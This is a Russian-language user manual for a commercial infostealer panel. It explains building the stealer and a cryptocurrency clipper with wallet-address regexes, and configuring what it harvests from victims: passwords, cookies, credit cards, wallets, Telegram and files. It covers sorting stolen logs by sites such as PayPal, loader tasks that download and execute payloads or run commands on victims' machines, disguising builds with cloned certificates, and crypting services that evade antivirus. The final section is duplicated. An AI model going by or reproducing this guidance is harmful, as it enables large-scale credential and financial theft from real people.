## 

Руководство по эксплуатации  
Установка

Для установки панели необходимо купить VPS/VDS со следующими характеристиками:

RAM 4 ГБ

CPU 2 Ядра

Диск SSD

ОС Windows Server

После того как вы купили сервер и его активировали, нажмите комбинацию Win+R, затем введите "mstsc" и нажмите ENTER.

В окне "Подключение к удаленному рабочему столу" найдите поле "Компьютер" и введите IP-адрес сервера, который вы купили, нажмите кнопку "Подключиться".

Введите Имя пользователя и Пароль, которые вы получили при покупки сервера.

После того как вы вошли на сервер, перенесите папку Tools из вашего рабочего ПК на сервер. Скопируйте папку и вставьте на сервере.

Запустите Panel.exe , если вам выдаст сообщение что не установлен NetFramework - Запустите на сервере файл “NetFramework48.exe” от имени администратора и установите его на сервер. ( он также в папке Tools )  
  
**После запуска появится файл serviceSettings.json и измените значение localhost на айпи своего дедика.**

Если вы хотите изменить порт для работы панели, перезапустите панель и в файле serviceSettings.json поменяйте значение порта на нужное и перезапустите панель.

Если вам понадобится Браузер для работы - Запустите на сервере файл “Chrome.exe” и установите его на сервер. ( он также в папке Tools )

Создание билда

Перейдите во вкладку “Builder”.

Icon File - иконка для вашего билда

Server IP - айпи адрес вашего сервера. Если у вас несколько доменов, то указывать их нужно через |

BuildID - уникальный идентификатор для вашего билда, с помощью BuildID вы будете понимать с какого файла пришел лог.

После ввода Server IP нажмите на кнопку “Check connection”, чтобы проверить соединение по текущему адресу.

Поля “Icon File” и “BuildID” не обязательны для заполнения.

Все готово. Нажимайте кнопку “Build”, затем выберите папку, где будет сохранен итоговый билд и введите имя для него, а затем нажимайте “Сохранить”.

Создание билда клиппера:

В нижней части вкладки “Builder” выберите иконку, а затем заполните поле “Patterns”.

Поле “Patterns” заполняется следующим образом:

адрес|регулярное выражение

Готовые примеры для популярных кошельков:

Кошелек BTC|\b(bc1|[13])[a-zA-HJ-NP-Z0-9]{26,35}\b  
Кошелек ETH|\b0x[a-fA-F0-9]{40}\b  
Кошелек BCH|\b(q|p)[a-z0-9]{41}\b

Кошелек DOGE|\bD{1}[5-9A-HJ-NP-U]{1}[1-9A-HJ-NP-Za-km-z]{32}\b

Кошелек LTC|\b[LM3][a-km-zA-HJ-NP-Z1-9]{26,33}\b

Кошелек DASH|\bX[1-9A-HJ-NP-Za-km-z]{33}\b

Кошелек NEO|\bA[0-9a-zA-Z]{33}\b

Кошелек XMR|\b4[0-9AB][1-9A-HJ-NP-Za-km-z]{93}\b

Кошелек XRP|\br[0-9a-zA-Z]{24,34}\b

Кошелек ZCASH|\bt(bc1|[13])[a-zA-HJ-NP-Z0-9]{26,35}\b

После заполнения всех полей нажмите кнопку “Build” внизу страницы и сохраните файл.

Внимание! Билд клиппера не имеет встроенной автозагрузки. Вам нужно просить криптора добавлять ее при крипте.  
  
Настройки билда

Поле “Get Browsers” отвечает за функцию сбора информации с браузера, по умолчанию включена.

Поле “JSON Cookies” отвечает за режим сохранения куков в формате JSON, если галочка выключена, то куки будут сохранятся в формате Netscape.

Поле “Get ftp clients” отвечает за функцию сбора информации с FTP клиентов (FileZilla и тд.), по умолчанию включена.

Поле “Get IM clients” отвечает за функцию сбора информации с IM клиентов (Pidgin и тд.), по умолчанию включена.

Поле “Get wallets” отвечает за функцию сбора холодных кошельков, по умолчанию включена.

Поле “Get Steam” отвечает за функцию сбора данных Steam.

Поле “Get Screenshot” отвечает за функцию сбора скриншота.

Поле “Get VPN” отвечает за функцию сбора данных VPN.

Поле “Get Telegram” отвечает за функцию сбора данных Telegram.

Поле “Grab UserAgent” отвечает за функцию сбора отпечатка браузера, позволяет маскировать свой браузер под браузер жертвы, по умолчанию включена.

Поле “Anti Duplicate” отвечает за функцию анти-дубликата логов, при включенном поле повторные логи с одной жертвы не будут отображаться, по умолчанию включена.

Поле “Get files” отвечает за функцию сбора файлов с пк жертвы, по умолчанию включена. Для того, чтобы настроить список файлов, которые стиллер должен собирать, необходимо заполнить поле “Get files settings”.

Поле “Get files settings”. Сразу под надписью расположен список ваших настроек для сбора файлов. Добавить новые настройки можно через поле “Enter a search pattern”.

Поле “Enter a search pattern” необходимо для добавления новой настройки для сбора файла. Значение в это поле необходимо писать по следующему формату: “Путь|Расширение|1 или 0”, В пути могут быть использованы системные переменные ОС. В расширении можно писать полное название файла, которое нужно найти (например, wallet.dat), либо часть его (\*.dat, \*wallet\*.\*, \*.\*), значение 1 - если нужно сделать поиск в подпапках указанной папки, 0 - если не нужен поиск в подпапках. После заполнения поля нажмите на кнопку “Add”, чтобы добавить в настройки сбора файлов. Так же, чтобы не заполнять по одному значению, можно сделать импорт из файла этих значений. Каждое значение должно быть с новой строки. Чтобы импортировать значения из файла, нажмите на кнопку “From File” и выберите нужный файл. Удалить значения из настроек можно выбрав его в списке левой клавишей мыши, затем нажав правой клавишей мыши и выбрав “Delete”.‘

Поле “Black list countries”. Сразу под надписью расположен список ваших настроек для стран, где билд не будет работать. Добавить новые настройки можно через поле “Enter a country”.

Поле “Black list IPs”. Сразу под надписью расположен список ваших настроек для айпи адресов, где билд не будет работать. Добавить новые настройки можно через поле “Enter an IP”.

Поле “Enter a country” необходимо для добавления новой настройки для стран, где билд не будет работать. Значение в это поле необходимо писать по следующему формату: UA, RU, US и тд. Полный список стран можно найти на сайте <https://www.acex.net/ru/useful_information/ISO_country_codes.php>. значения из столбика A2. После заполнения поля нажмите на кнопку “Add”, чтобы добавить в настройки черного списка стран. Удалить значения из настроек можно выбрав его в списке левой клавишей мыши, затем нажав правой клавишей мыши и выбрав “Delete”.

Поле “Domain Detector settings”. Сразу под надписью расположен список ваших настроек для сбора файлов. Добавить новые настройки можно через поле “Enter a domain pattern”.

Поле “Enter a domain pattern” необходимо для добавления новой настройки групп доменов, по которым будет выполняться поиск при поступлении логов, если в логе будет найден домен из группы, вам об этом покажет в столбце PDD (если в паролях), либо в столбце CDD (если в куках). Значение в это поле необходимо писать по следующему формату: ИМЯ ГРУППЫ=домен  
Пример 1: CRYPTO=blockchain|hitbtc  
Пример 2: PP=paypal  
После заполнения поля нажмите на кнопку “Add”, чтобы добавить в настройки новое значение. Удалить значения из настроек можно выбрав его в списке левой клавишей мыши, затем нажав правой клавишей мыши и выбрав “Delete”.

ВАЖНО! Чтобы изменения вступили в силу, необходимо нажать на кнопку “Save Settings”

Уведомления

Вкладка “Notifications” служит для отображения важных событий панели. В ней будет показано, когда была выполнена задача, либо поступил дубликат лога

Статистика

Перейдите во вкладку “Statistic”, что увидеть статистику по логам, которые находятся в панели.

Поле “Passwords” показывает общее количество паролей во всех логах.

Поле “Cookies” показывает общее количество куков во всех логах.

Поле “Autofills” показывает общее количество форм автозаполнения во всех логах.

Поле “Credit Cards” показывает общее количество кредитный карт во всех логах.

Поле “Files” показывает общее количество файлов с граббера во всех логах.

Поле “FTP” показывает общее количество фтп аккаунтов во всех логах.

Поле “Cold Wallets” показывает общее количество холодных кошельков во всех логах.

Поле “Top 10 of County” показывает ТОП10 стран по количеству логов из этих стран.

Поле “Top 10 of OS” показывает ТОП10 операционных систем по количеству логов с этими операционными системами.

Поле “Top 10 of AV” показывает ТОП10 антивирусов по количеству логов с этими антивирусами.

Кнопка “Reset all stats” отвечает за сброс всей статистики, без удаления логов.

Гостевая статистика для заливщиков инсталлов настраивается во вкладке “Guest Links”

В верхней части вкладки расположен список действующих гостевых ссылок.

Для того, чтобы создать публичную статистику для нужного билда, заполните поля  
  
 :  
“BuildID” это идентификатор билда, статистику которого вы хотите показывать, вы его указывали в билдере при создании.

“Expires DateTime” нужен для того, чтобы ограничить время доступа к этой ссылке. Если хотите сделать без ограничений, оставьте поле пустый, если хотите, чтобы ссылка работала до определенного времени, то формат значения такой 01.01.2020 23:59

И после этого нажимаете “Create Link”.

Чтобы получить ссылку, кликните два раза по нужной строке в списке ссылок, откроется браузер по ссылке.

Чтобы удалить ссылку, нажмите правой клавишей мыши на строку и затем “Delete”

Проверка баланса холодного кошелька BTC

Перейдите во вкладку “Wallet Checker” и нажмите на кнопку “Open”, а затем выберите файл холодного кошелька, после успешной проверки, вам покажет количество BTC, которое доступно на балансе этого кошелька.

Сортировка логов

Перейдите во вкладку “Log Sorter”, тут вы увидите два вида сортировщика: левый, нужный для поиска по параметрам, либо правый, который сортирует логи по нужным доменам.

Описание левого сортировщика:

Поле “Country” - страна, которая должна быть в логе

Поле “BuildID” - идентификатор билда в логе

Поле “Set Comment” - комментарий, который будет присвоен логу, если он проходит по остальным параметрам.

Поле “Skip Comment” - комментарий в логе, при котором будет пропущен лог для сортировки

Поле “Comment” - комментарий, который должен быть в логе

Поле “OS” - операционная система, которая должна быть в логе

Поле “Password Contains Domain” - домен сайта, который должен быть в паролях лога (пример: paypal.com). Так же можно указать несколько доменов, разделяя их | .Чтобы указать нужное количество паролей из этого сайта, вводите в формате vk.com:3 - найдет логи, где количество паролей от сайта vk.com равно 3 или больше

Поле “Cookies Contains Domain” - домен сайта, который должен быть в куках лога (пример: paypal.com).Так же можно указать несколько доменов, разделяя их | .Чтобы указать нужное количество паролей из этого сайта, вводите в формате vk.com:3 - найдет логи, где количество куков от сайта vk.com равно 3 или больше

Поле “Credit cards” - лог должен содержать кредитные карты, по умолчанию включен

Поле “Autofills” - лог должен содержать формы автозаполнения, по умолчанию включен

Поле “FTPs” - лог должен содержать фтп аккаунты, по умолчанию включен

Поле “Files” - лог должен содержать файлы из граббера, по умолчанию включен

Поле “Cold wallets” - лог должен содержать холодные кошельки, по умолчанию включен

Поле “LogDate FROM” - начальные дата и время, раньше которого логи не будут сохранятся

Поле “LogDate To” - конечные дата и время, позже которого логи не будут сохранятся.

Поле “Skip Checked” - пропуск проверенных логов

Поле “Skip Empty Passwords” - пропуск логов с пустыми паролями

Поле “Skip Empy Cookies” - пропуск логов с пустыми куками

Поле “Refresh Domain Detect” - обновляет значения PDD, CDD в таблице логов

Поле “Remove empty logs” - удаляет все пустые логи

В полях Comment, Skip Comment, BuildID, Country можно указывать несколько значений для сортировки, указывать их нужно через запятую.

В полях Passwords Contains Domain, Cookies Contains Domain можно указывать несколько значений для поиска, указывать их нужно через |

Все поля не обязательные к заполнению.

Логи будут сохранены только те, которые подходят сразу по всем указанным полям. Если хотя бы одно поле не соответствует вашим требованиям в логе, он не будет сохранен.

Чтобы выполнить сортировку, проверьте все поля на правильность, а затем нажмите на кнопку “Sort” и в окне выберите папку, где будут располагаться файлы, которые подходят по вашим параметрам.

Описание правого верхнего сортировщика:

В текстовом поле, под надписью “Current domain” необходимо ввести домены, которые вы хотите найти.

Каждый домен нужно вводить с новой строки.

Для каждого домена будет создана отдельная папка с логами.

После заполнения поля, нажмите на Sort и выберите папку, где будут сохранены логи.

Описание правого нижнего сортировщика:

Этот сортировщик сохранит логины и пароли нужный сайтов в текстовик.

Например, вводите сайт yandex.ru в поле для поиска и нажимаете “Sort”, сортировщик создаст текстовик yandex.ru, запишет логины и паролей со всех логов от этого сайта.

Telegram уведомления

1) Зайди в брэндмауэр и добавь главный ЕХЕ панели в белый список

2) Затем создай бота в телеграмме (Гугл в помощь)

3) Скопируй его API Token

4) Зайди в панель, затем вкладка Telegram, в поле “Bot API Token” напиши этот токен

5) В поле “Message Format” необходимо написать формат уведомления, которое ты хочешь получать, используя следующие переменные:

{BuildID}

{ID}

{CDD}

{PDD}

{Comment}

{Country}

{Creds}

{HWID}

{IP}

{Location}

{LogDate}

{OS}

{PostalCode}

{TimeZone}

{Username}

6) Используя эти переменные в тексте вы можете составить нужный формат. Пример формата :

Номер: {ID}

Билд: {BuildID}

ОС: {OS}

IP: {IP}

Данные: {Cred}

Страна: {Country}

7) “Send Log File” - отвечает за то, будет ли отправляться сам файл с логом или только сообщение о логе. Включать только если медленный поток логов. На инсталлы убирайте эту галочку.

8) Нажимаете кнопку “Start”

9) Зайди в своего бота, нажми /start

10) И затем /sub

11) Если в ответ напишет «Успешно», то все успешно настроено

Задачи

Перейдите во вкладку “Loader Tasks”. В верхней части окна вы увидите список существующих задач для стиллера.

Одна задача выполняется только один раз на одной жертве. После успешного выполнения стиллер запоминает, что она выполнила ее и больше не выполняет ее. Параметром для запоминания задачи выступает поле “ID” в списке задач.

Кнопка “Reset” отвечает за полный сброс истории выполненных задач, а так же существующих. Очищает список с задачами.

Кнопка “Refresh list” обновляет данные в списке задач. А именно поля “Current” и “Status”.

В нижней части окна панель разделяется на две части: левый - создание задачи, правый - для редактирования уже существующих.

Описание левый части:

Для поля “Action” доступны следующие значения:

Download - загрузка файла по прямой ссылке в указанную папку

DownloadAndEx - загрузка файла по прямой ссылке в указанную папку с последующим запуском этого файла

OpenLink - открытие нужного сайта в браузере у жертвы

Cmd - выполнение cmd-команды на компьютере жертвы

RunPE - получает файл по прямой ссылке, а затем делает запуск этого файла в памяти другого приложения, которое укажите ( инжект )

Поле Target заполняется разным форматом в зависимости от поля Action.

Формат поля Target при Download: ссылка|путь к файлу

Пример: [https://site.ru/filename.exe|%tmp%\filename.exe](https://site.ru/filename.exe|%25tmp%25\filename.exe)

Формат поля Target при RunPE: ссылка|имя файла из папки C:\Windows\Microsoft.NET\Framework\v4.0.30319

Пример: <https://site.ru/filename.exe|AddInProcess32.exe>

Формат поля Target при DownloadAndEx: ссылка|путь к файлу

Пример: [https://site.ru/filename.exe|%tmp%\filename.exe](https://site.ru/filename.exe|%25tmp%25\filename.exe)

Формат поля Target при OpenLink: ссылка

Пример: <https://site.ru/filename.exe>

Формат поля Target при Cmd: ссылка

Пример: shutdown -r -t 0

В поле “FinalPoint” необходимо ввести количество успешных выполнений задачи, после того как количество выполнений достигнет этого числа, задача будет считаться завершенной.

В поле “Filter” можно написать фильтр по таким параметрам:

Country, IP, OS, BuildID

Формат заполнения такой:

Country=RU;BuildID=testid

Не обязательно использовать все фильтры. Их можно комбинировать между собой, либо вообще оставить пустым, если хотите, чтобы эту задачу выполняли все жертвы.

В поле “Domains Check” можно вписать домены через разделитель |, если поле будет заполнено, то будет проверяться наличие этих доменов в паролях, и если они будут найдены, то задача выполнится.

Примеры:

paypal.com

paypal.com|amazom.com

Чтобы добавить задачу, проверьте все поля и нажмите “Add”

Чтобы изменить задачу, выберите нужную в списке задач и в правой нижней части измените нужные поля, а затем нажмите “Save”

Чтобы удалить задачу, выберите нужную в списке задач и в правой нижней части изменить поле “Visible”, а затем нажмите “Save”

***Просмотр логов***

Перейдите во вкладку “Logs”.

Большую часть окна занимает список текущих логов.

Каждая строка представляем собой уникальный лог с полями:

Поле “ID” - уникальный номер лога в списке

Поле “HWID” - уникальный идентификатор, основанный на характеристиках ОС жертвы

Поле “IP” - айпи адрес

Поле “OS” - операционная система

Поле “BuildID” - идентификатор билда, который указывался при создании билда

Поле “LogDate” - дата и время поступления лога в список

Поле “OS” - операционная система

Поле “Country” - страна

Поле “Comment” - комментарий

Поле “PDD” - в это поле записываются группы домен детектора для паролей, которые вы добавляли в настройках.

Поле “CDD” - в это поле записываются группы домен детектора для куков, которые вы добавляли в настройках.

Для поиска среди списка логов нужно заполнить поле “Search filter”, а затем нажать кнопку “Search”. Формат значений:

Country=RU,UA,US;BuildID=test1

То есть аналогичный фильтру при создании задач.

Чтобы присвоить комментарий нужному логу, выберите нужный из списка, а затем заполните поле “Enter a comment” и нажмите “Set”.

## Чтобы сохранить все логи в папку, нажмите кнопку “Save list”, а затем выберите папку, где будут располагаться логи

## Чтобы очистить список всех логов нажмите на кнопку “Clear all logs”, а затем подтвердите свое действие.

## Для просмотра логов непосредственно в панели. выберите нужный лог в списке левым нажатием мыши, а затем нажмите правой клавишей мыши на него еще раз. Высветится меню, где можно посмотреть все данные этого лога.

## Пункт меню “System Info” покажет вам системную информацию лога и скриншот с экрана.

## Пункт меню “Save” нужен для того, чтобы сохранить этот лог в папку, которую вы выберите.

## Пункт меню “Runtime Exceptions” служит для диагностики ошибок, только для разработчиков.

## Пункт меню “Delete” удалит из списка логов, выбранный вами лог.

## Пункт меню “Viewers” необходим для просмотра собранной информации:

## Passwords - логины и пароли

## Cookies - куки

## Autofills - формы автозаполнения

## Credit cards - кредитные карты

## FTP - фтп аккаунты

## Files-файлы

## Хостинг файлов

## Чтобы получить прямую ссылку на файл, зайдите во вкладку “Guest Links”, в нижней части нажмите на кнопку “Create Link‘, а затем выберите тот файл на который вы хотите получить прямую ссылку.

## Если вы хотите, чтобы у вашего файла была каждый раз новая контрольная сумма md5, то поставье отметку “Change checksum”.

## Чтобы удалить ссылку, выберите нужную из списка, а затем нажмите правой клавишей мыши и выберите “Delete” Прочее

## Перейдите во вкладку “Misc”.

## Верхняя часть окна отвечает за создание клона другого файла

## Target Path - файл, копию которого нужно сделать

## Build Path - ваш билд

## Поле “Assembly Info” - копирование иконки и описания файла

## Поле “Certificate” - копирование сертификата

## После заполнения полей, нажмите на кнопку “Clone”

## Нижняя часть окна отвечает за увеличение веса файла

## Target Path - файл, которому нужно увеличить вес

## Bytes count - количество байт, которое нужно добавить к весу вашего файла

## После заполнения полей, нажмите на кнопку “Pump” Способы крипта билда:

## 1) Команда /defensenet в боте @spectrcrypt\_bot

## 2) Команда /defense в боте @spectrcrypt\_bot, затем на сайт cryptor.biz

## 3) @Floiar

## 4) @ninjacrypterbot

## Ways to crypt build:

## 1) The /defensenet command in @spectrcrypt\_bot

## 2) The /defense command in the @spectrcrypt\_bot bot, then to the cryptor.biz website

## 3) @Floiar

## 4)@ninjacrypterbot Хостинг файлов

## Чтобы получить прямую ссылку на файл, зайдите во вкладку “Guest Links”, в нижней части нажмите на кнопку “Create Link‘, а затем выберите тот файл на который вы хотите получить прямую ссылку.

## Если вы хотите, чтобы у вашего файла была каждый раз новая контрольная сумма md5, то поставье отметку “Change checksum”.

## Чтобы удалить ссылку, выберите нужную из списка, а затем нажмите правой клавишей мыши и выберите “Delete” Прочее

## Перейдите во вкладку “Misc”.

## Верхняя часть окна отвечает за создание клона другого файла

## Target Path - файл, копию которого нужно сделать

## Build Path - ваш билд

## Поле “Assembly Info” - копирование иконки и описания файла

## Поле “Certificate” - копирование сертификата

## После заполнения полей, нажмите на кнопку “Clone”

## Нижняя часть окна отвечает за увеличение веса файла

## Target Path - файл, которому нужно увеличить вес

## Bytes count - количество байт, которое нужно добавить к весу вашего файла

## После заполнения полей, нажмите на кнопку “Pump” Способы крипта билда:

## 1) Команда /defensenet в боте @spectrcrypt\_bot

## 2) Команда /defense в боте @spectrcrypt\_bot, затем на сайт cryptor.biz

## 3) @Floiar

## 4) @ninjacrypterbot

## Ways to crypt build:

## 1) The /defensenet command in @spectrcrypt\_bot

## 2) The /defense command in the @spectrcrypt\_bot bot, then to the cryptor.biz website

## 3) @Floiar

## 4) @ninjacrypterbot